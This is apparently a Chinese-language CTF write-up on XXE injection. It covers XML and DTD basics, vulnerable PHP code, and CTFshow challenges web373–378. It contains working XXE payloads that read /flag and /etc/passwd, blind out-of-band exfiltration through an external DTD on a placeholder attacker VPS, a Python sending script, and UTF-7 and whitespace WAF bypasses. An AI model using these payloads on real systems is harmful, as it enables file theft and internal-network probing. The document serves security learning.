文章目录
XXE基础
XML
XML 指可扩展标记语言(eXtensible Markup Language)。
方便大家理解,这里与HTML对比着给大家说一下:HTML和XML 为不同的目的而设计,HTML 被设计用来显示数据,其焦点是数据的外观。XML 被设计用来传输和存储数据,其焦点是数据的内容。HTML 旨在显示信息,而 XML 旨在传输信息。
DTD
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD的声明:指XML文档中声明该文档的DTD或DTD来源的部分,可以包含在使用它的XML文档内部,也可以以独立的DTD文档(*.dtd)文档存在。
所以DTD一般认为有两种引用或声明方式:
1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
(网上有提到的引用公共DTD其实也算外部引用DTD的一种)
XML基本文档结构
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<!--文档元素-->
<foo>&xxe;</foo>
可能造成的危害
- 任意文件读取
- SSRF
- DOS攻击
- 远程命令执行
XXE漏洞代码实例
<?php
//libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile);
$xml = simplexml_import_dom($dom);
print_r($xml);
$xxe = $xml->xxe;
$str = "$xxe \n";
echo $str;
?>
- 使用file_ get contents获取客户端输入的内容。
- 使用new DOMDocument () 初始化XML解析器。
- 使用loadXML ($xmlfile) 加载客户端输入的XML内容。
- 使用simplexml import dom ($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。
- 获取SimpleXMLElement对象中的节点XXE,然后输出XXE的内容。
- 可以看到,代码中没有限制XML引入外部实体,所以当我们创建一个包含外部实体的XML时,外部实体的内容就会被执行。
CTFSHOW-XXE
web373(有回显)
payoload
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<ctf>
<ctfshow>&xxe;</ctfshow>
</ctf>
web374-376(无回显)
当一个Web程序可以解析XML输入,但却无任何输出响应这种注入叫做盲注XXE。所以为了测试这种盲注XXE,我们可以用非文件路径的外部实体来请求这里的Web应用。
源码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
读取txt文件时可以直接读取,但是在读取php文件时php代码可能会因为浏览器的解析而无法显示,这时需要将代码进行base64编码后再进行读出。
payload
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://[vps-ip]/test.dtd">
%aaa;
]>
<root>123</root>
test.dtd放在服务器上
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://xxx/%file;'> ">
%dtd;
%xxe;
发送payload
在这里插入图片描述
服务器接收到flag
web377(utf-16编码绕过)
import requests
url = 'http://ddca1082-2f62-4f7f-b8b1-e369e33aa168.chall.ctf.show/'
payload = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>123</root>"""
payload = payload.encode('utf-16')
requests.post(url ,data=payload)
web378
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>&xxe;</password></user>
绕过方式
utf-7
转换网站:Online charset
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>
<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE test +AFs-
+ADwAIQ-ENTITY +ACU- file SYSTEM +ACI-php://filter/read+AD0-convert-base64.encode/resource+AD0-/flag.txt+ACIAPg-
+ADwAIQ-ENTITY +ACU- remote SYSTEM +ACI-http://vps-ip/test.dtd+ACIAPg-
+ACU-remote+ADs-
+ACU-dtd+ADs-
+ACU-xxe+ADs-
+AF0APg-
空格绕过
通常XXE漏洞存在于XML文档的开头,有的WAF会检测XML文档中开头中的某些子字符串或正则表达式,但是XML格式在设置标签属性的格式时允许使用任何数量的空格,因此我们可以在<?xml?>或<!DOCTYPE>中插入数量足够多的空格去绕过WAF的检测。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>
<?xml
version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>
获得一个ip:10.128.253.12,使用http协议探测C段
其他用法
探测内网
读取 /etc/hosts 和 /proc/net/arp文件
XXE修复
禁止使用外部实体,例如libxml disable_entity_loader(true) 。
过滤用户提交的XML数据,防止出现非法内容。